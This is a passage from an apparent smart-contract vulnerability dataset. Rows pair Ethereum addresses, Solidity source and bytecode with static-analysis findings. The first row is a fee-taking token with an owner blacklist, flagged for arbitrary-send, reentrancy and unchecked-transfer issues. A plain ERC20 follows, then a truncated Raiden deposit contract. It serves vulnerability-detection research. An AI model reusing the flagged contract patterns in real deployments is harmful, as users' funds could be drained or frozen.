00080fd5b5061048b600480360360208110156106e457600080fd5b5035610e0b565b3480156106f757600080fd5b506102ad610e58565b34801561070c57600080fd5b5061048b6004803603604081101561072357600080fd5b506001600160a01b0381358116916020013516610e5e565b34801561074757600080fd5b506105f4610ed4565b34801561075c57600080fd5b506103826004803603604081101561077357600080fd5b506001600160a01b038135169060200135610ee3565b34801561079557600080fd5b5061048b600480360360208110156107ac57600080fd5b50356001600160a01b0316610ef0565b3480156107c857600080fd5b506105f4610f5a565b3480156107dd57600080fd5b506102ad610f69565b3480156107f257600080fd5b5061048b6004803603606081101561080957600080fd5b5080359060208101359060400135610f6f565b34801561082857600080fd5b5061048b6004803603602081101561083f57600080fd5b50356001600160a01b0316610fc5565b34801561085b57600080fd5b506102ad6004803603604081101561087257600080fd5b506001600160a01b0381358116916020013516611088565b34801561089657600080fd5b5061048b600480360360408110156108ad57600080fd5b506001600160a01b0381351690602001356110b3565b3480156108cf57600080fd5b5061048b600480360360408110156108e657600080fd5b5080351515906020013561117a565b34801561090157600080fd5b5061048b6004803603602081101561091857600080fd5b50356111e4565b34801561092b57600080fd5b506103826004803603602081101561094257600080fd5b50356001600160a01b0316611231565b34801561095e57600080fd5b5061048b6004803603602081101561097557600080fd5b50356001600160a01b0316611246565b34801561099157600080fd5b5061048b600480360360208110156109a857600080fd5b50356001600160a01b03166112aa565b3480156109c457600080fd5b5061048b600480360360408110156109db57600080fd5b506001600160a01b038135169060200135151561135b565b3480156109ff57600080fd5b506105f46113ce565b348015610a1457600080fd5b5061038260048036036020811015610a2b57600080fd5b50356001600160a01b03166113dd565b601a5481565b60408051808201909152600881526727a722a1a927aba760c11b602082015290565b336000818152600a602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60055490565b60115481565b6001600160a01b0383166000908152600a6020908152604080832033845290915281205460001914610b83576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600a82528381203382529091529190912054610b5e918490611455565b6001600160a01b0385166000908152600a602090815260408083203384529091529020555b610b8e8484846114ec565b50600190505b9392505050565b600354600090610bdf90610bb7906001600160a01b0316610d30565b600254610bd990610bd0906001600160a01b0316610d30565b600554906116f7565b906116f7565b905090565b6000546001600160a01b0390811691161490565b601290565b610c06336113dd565b610c45576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f19350505050158015610c71573d6000803e3d6000fd5b50565b6008546007540190565b600b6020526000908152604090205460ff1681565b60105481565b601754600160a81b900460ff1681565b6000610ac482600019610a63565b610cc0336113dd565b610cff576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b600f5481565b6001600160a01b031660009081526009602052604090205490565b610d54336113dd565b610d93576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b600855565b6014546001600160a01b031681565b6015546001600160a01b031681565b6000546001600160a01b031690565b600c6020526000908152604090205460ff1681565b60065481565b60085481565b60408051808201909152600581526421a927aba760d91b602082015290565b600e5481565b610e14336113dd565b610e53576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601a55565b60075481565b610e67336113dd565b610ea6576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601380546001600160a01b039384166001600160a01b03199182161790915560148054929093169116179055565b6017546001600160a01b031681565b6000610b943384846114ec565b610ef933610be4565b610f33576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b6013546001600160a01b031681565b60125481565b610f78336113dd565b610fb7576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b600e92909255600f55601055565b610fce336113dd565b61100d576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b0381166000908152600960205260408082205430835291205461103790826113fb565b306000818152600960209081526040808320949094556001600160a01b0386168083528483209290925583518581529351929391926000805160206124dd8339815191529281900390910190a35050565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b6110bc336113dd565b6110fb576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6040805163a9059cbb60e01b81523360048201526024810183905290516001600160a01b0384169163a9059cbb9160448083019260209291908290030181600087803b15801561114a57600080fd5b505af115801561115e573d6000803e3d6000fd5b505050506040513d602081101561117457600080fd5b50505050565b611183336113dd565b6111c2576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b60178054921515600160a81b0260ff60a81b1990931692909217909155601a55565b6111ed336113dd565b61122c576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601855565b600d6020526000908152604090205460ff1681565b61124f33610be4565b611289576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03166000908152600160205260409020805460ff19169055565b6112b333610be4565b6112ed576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b038316908117825580825260016020818152604093849020805460ff1916909217909155825191825291517f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163929181900390910190a150565b611364336113dd565b6113a3576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b6016546001600160a01b031681565b6001600160a01b031660009081526001602052604090205460ff1690565b600082820183811015610b94576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600081848411156114e45760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156114a9578181015183820152602001611491565b50505050905090810190601f1680156114d65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b601754600090600160a01b900460ff16156115135761150c848484611739565b9050610b94565b6017546001600160a01b031633148015906115385750601754600160a01b900460ff16155b801561154d5750601754600160a81b900460ff165b801561156a5750601a543060009081526009602052604090205410155b1561157757611577611808565b611582848484611c90565b61158c8484612233565b156115cc576040805162461bcd60e51b815260206004820152600b60248201526a111bdb89dd0818da19585d60aa1b604482015290519081900360640190fd5b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03871660009081526009909152919091205461161e918490611455565b6001600160a01b038516600090815260096020908152604080832093909355600b90529081205460ff1615801561166e57506001600160a01b0384166000908152600b602052604090205460ff16155b6116785782611683565b6116838585856122be565b6001600160a01b0385166000908152600960205260409020549091506116a990826113fb565b6001600160a01b0385166000818152600960209081526040918290209390935580518481529051919233926000805160206124dd8339815191529281900390910190a3506001949350505050565b6000610b9483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611455565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260099091529182205461178a918490611455565b6001600160a01b0380861660009081526009602052604080822093909355908516815220546117b990836113fb565b6001600160a01b0380851660008181526009602090815260409182902094909455805186815290519193928816926000805160206124dd83398151915292918290030190a35060019392505050565b6017805460ff60a01b1916600160a01b179055601a54601154600e546000916118419160029161183b918290879061236b565b906123c4565b9050600061184f83836116f7565b604080516002808252606080830184529394509091602083019080368337019050509050308160008151811061188157fe5b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156118d557600080fd5b505afa1580156118e9573d6000803e3d6000fd5b505050506040513d60208110156118ff57600080fd5b505181518290600190811061191057fe5b60200260200101906001600160a01b031690816001600160a01b031681525050601660009054906101000a90046001600160a01b03166001600160a01b031663791ac9478360008430426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156119ca5781810151838201526020016119b2565b505050509050019650505050505050600060405180830381600087803b1580156119f357600080fd5b505af1158015611a07573d6000803e3d6000fd5b5050600e5447925060009150611a2b90611a229060026123c4565b601154906116f7565b90506000611a488261183b600f548661236b90919063ffffffff16565b90506000611a658361183b6010548761236b90919063ffffffff16565b90506000611a87600261183b8661183b600e548a61236b90919063ffffffff16565b6014546040519192506000916001600160a01b039091169061753090869084818181858888f193505050503d8060008114611ade576040519150601f19603f3d011682016040523d82523d6000602084013e611ae3565b606091505b50506015546040519192506000916001600160a01b039091169061753090869084818181858888f193505050503d8060008114611b3c576040519150601f19603f3d011682016040523d82523d6000602084013e611b41565b606091505b5050601554604080516001600160a01b0390921682526020820187905280519293507f887dd9f57395c2e1e0dea455ae76bf56410b19b3131f2a590aab0b29b368363292918290030190a15060009050808915611c76576016546013546040805163f305d71960e01b8152306004820152602481018e905260006044820181905260648201526001600160a01b0392831660848201524260a48201529051919092169163f305d71991869160c48082019260609290919082900301818588803b158015611c0d57600080fd5b505af1158015611c21573d6000803e3d6000fd5b50505050506040513d6060811015611c3857600080fd5b505060408051848152602081018c905281517f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506929181900390910190a15b50506017805460ff60a01b19169055505050505050505050565b60085460075442031115611ca657611ca6612406565b6000546001600160a01b03848116911614801590611cd257506000546001600160a01b03838116911614155b8015611cf757506001600160a01b0382166000908152600c602052604090205460ff16155b8015611d1157506003546001600160a01b03838116911614155b8015611d2b57506002546001600160a01b03838116911614155b8015611d4557506017546001600160a01b03838116911614155b8015611d5a57506001600160a01b0382163014155b156120dc57601854811115611d9f576040805162461bcd60e51b815260206004820152600660248201526509a82b040a8b60d31b604482015290519081900360640190fd5b6000611daa83610d30565b90506019548282011115611def5760405162461bcd60e51b81526004018080602001828103825260238152602001806124996023913960400191505060405180910390fd5b60408051600280825260608083018452926020830190803683375050601654604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b158015611e5357600080fd5b505afa158015611e67573d6000803e3d6000fd5b505050506040513d6020811015611e7d57600080fd5b505181518290600090611e8c57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110611eba57fe5b6001600160a01b03928316602091820292909201810191909152601654604080516307c0329d60e21b815260048101888152602482019283528651604483015286516000969490941694631f00ca74948a948994909260649091019185820191028083838c5b83811015611f38578181015183820152602001611f20565b50505050905001935050505060006040518083038186803b158015611f5c57600080fd5b505afa158015611f70573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015611f9957600080fd5b8101908080516040519392919084640100000000821115611fb957600080fd5b908301906020820185811115611fce57600080fd5b8251866020820283011164010000000082111715611feb57600080fd5b82525081516020918201928201910280838360005b83811015612018578181015183820152602001612000565b5050505090500160405250505060008151811061203157fe5b6020908102919091018101516001600160a01b0387166000908152600d90925260409091205490915060ff1615801561206b575060065481115b156120d857601580546001600160a01b0319166001600160a01b038781169190911791829055600683905542600755604080519290911682526020820183905280517f735208e3a5b6390fd1d199ec98f6689564f9d7fef06323849704a8856eeed5f49281900390910190a15b5050505b6000546001600160a01b0384811691161480159061210857506000546001600160a01b03838116911614155b801561212d57506001600160a01b0383166000908152600c602052604090205460ff16155b801561214757506017546001600160a01b03848116911614155b801561215c57506001600160a01b0382163014155b1561222e576018548111156121a1576040805162461bcd60e51b815260206004820152600660248201526509a82b040a8b60d31b604482015290519081900360640190fd5b6015546001600160a01b038481169116141561220a57601554600654604080516001600160a01b039093168352602083019190915280517fec798f0f5328ec01f1d48922c12f488ecde2dae7402c814510a37d505cbdbb2a9281900390910190a161220a612406565b6001600160a01b0383166000908152600d60205260409020805460ff191660011790555b505050565b6001600160a01b0382166000908152600b602052604081205460ff168061227257506001600160a01b0382166000908152600b602052604090205460ff165b1561227f57506000610ac4565b6017546001600160a01b03848116911614806122a857506017546001600160a01b038381169116145b156122b557506000610ac4565b50600192915050565b60175460009081906001600160a01b038581169116146122e0576011546122e4565b6012545b905060006122f7606461183b868561236b565b3060009081526009602052604090205490915061231490826113fb565b30600081815260096020908152604091829020939093558051848152905191926001600160a01b038a16926000805160206124dd8339815191529281900390910190a361236184826116f7565b9695505050505050565b60008261237a57506000610ac4565b8282028284828161238757fe5b0414610b945760405162461bcd60e51b81526004018080602001828103825260218152602001806124bc6021913960400191505060405180910390fd5b6000610b9483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612433565b601454601580546001600160a01b0319166001600160a01b03909216919091179055600060065542600755565b600081836124825760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156114a9578181015183820152602001611491565b50600083858161248e57fe5b049594505050505056fe45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f756e74536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122081ca9fa8dbcbd05b7f58646667fa7874e4b97ce22ed64eb962108f56779f59c764736f6c63430007040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,980 |
0xd3d7f63fbe00a923eceacf1d0184fe0a3f14173a | /**
*Submitted for verification at Etherscan.io on 2020-10-22
*/
pragma solidity ^0.7.1;
// SPDX-License-Identifier: MIT
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply) {
_name = name;
_symbol = symbol;
_decimals = decimals;
_totalSupply = totalSupply;
_balances[msg.sender] = _balances[msg.sender].add(_totalSupply);
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
* @return the name of the token.
*/
function name() public view returns(string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns(string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns(uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override(IERC20) returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override(IERC20) returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
override(IERC20)
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public override(IERC20) returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public override(IERC20) returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
override(IERC20)
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461025857806370a08231146102bc57806395d89b4114610314578063a457c2d714610397578063a9059cbb146103fb578063dd62ed3e1461045f576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b66104d7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610579565b60405180821515815260200191505060405180910390f35b61019d6106a4565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106ae565b60405180821515815260200191505060405180910390f35b61023f61085e565b604051808260ff16815260200191505060405180910390f35b6102a46004803603604081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610875565b60405180821515815260200191505060405180910390f35b6102fe600480360360208110156102d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aaa565b6040518082815260200191505060405180910390f35b61031c610af2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035c578082015181840152602081019050610341565b50505050905090810190601f1680156103895780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103e3600480360360408110156103ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b94565b60405180821515815260200191505060405180910390f35b6104476004803603604081101561041157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dc9565b60405180821515815260200191505060405180910390f35b6104c16004803603604081101561047557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610de0565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561056f5780601f106105445761010080835404028352916020019161056f565b820191906000526020600020905b81548152906001019060200180831161055257829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156105b457600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561073957600080fd5b6107c882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8690919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610853848484610ea6565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108b057600080fd5b61093f82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6790919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b8a5780601f10610b5f57610100808354040283529160200191610b8a565b820191906000526020600020905b815481529060010190602001808311610b6d57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bcf57600080fd5b610c5e82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000610dd6338484610ea6565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080828401905083811015610e7c57600080fd5b8091505092915050565b600082821115610e9557600080fd5b600082840390508091505092915050565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610ef157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f2b57600080fd5b610f7c816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061100f816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505056fea264697066735822122077c18509d9b42816c111d4999e1bd9ceb5750fcfdca7612af64ffd694ac98b6264736f6c63430007010033 | {"success": true, "error": null, "results": {}} | 1,981 |
0x1c62ff66af8aad410065e02338f5bfbbe23e1f10 | /**
*Submitted for verification at Etherscan.io on 2020-05-19
*/
pragma solidity 0.6.4;
interface Token {
/// @return supply total amount of tokens
function totalSupply() external view returns (uint256 supply);
/// @param _owner The address from which the balance will be retrieved
/// @return balance The balance
function balanceOf(address _owner) external view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return success Whether the transfer was successful or not
function transfer(address _to, uint256 _value) external returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return success Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return success Whether the approval was successful or not
function approve(address _spender, uint256 _value) external returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return remaining Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// Optionally implemented function to show the number of decimals for the token
function decimals() external view returns (uint8 decimals);
}
/// @title Utils
/// @notice Utils contract for various helpers used by the Raiden Network smart
/// contracts.
contract Utils {
enum MessageTypeId {
None,
BalanceProof,
BalanceProofUpdate,
Withdraw,
CooperativeSettle,
IOU,
MSReward
}
/// @notice Check if a contract exists
/// @param contract_address The address to check whether a contract is
/// deployed or not
/// @return True if a contract exists, false otherwise
function contractExists(address contract_address) public view returns (bool) {
uint size;
assembly {
size := extcodesize(contract_address)
}
return size > 0;
}
}
contract UserDeposit is Utils {
uint constant public withdraw_delay = 100; // time before withdraw is allowed in blocks
// Token to be used for the deposit
Token public token;
// Trusted contracts (can execute `transfer`)
address public msc_address;
address public one_to_n_address;
// Total amount of tokens that have been deposited. This is monotonous and
// doing a transfer or withdrawing tokens will not decrease total_deposit!
mapping(address => uint256) public total_deposit;
// Current user's balance, ignoring planned withdraws
mapping(address => uint256) public balances;
mapping(address => WithdrawPlan) public withdraw_plans;
// The sum of all balances
uint256 public whole_balance = 0;
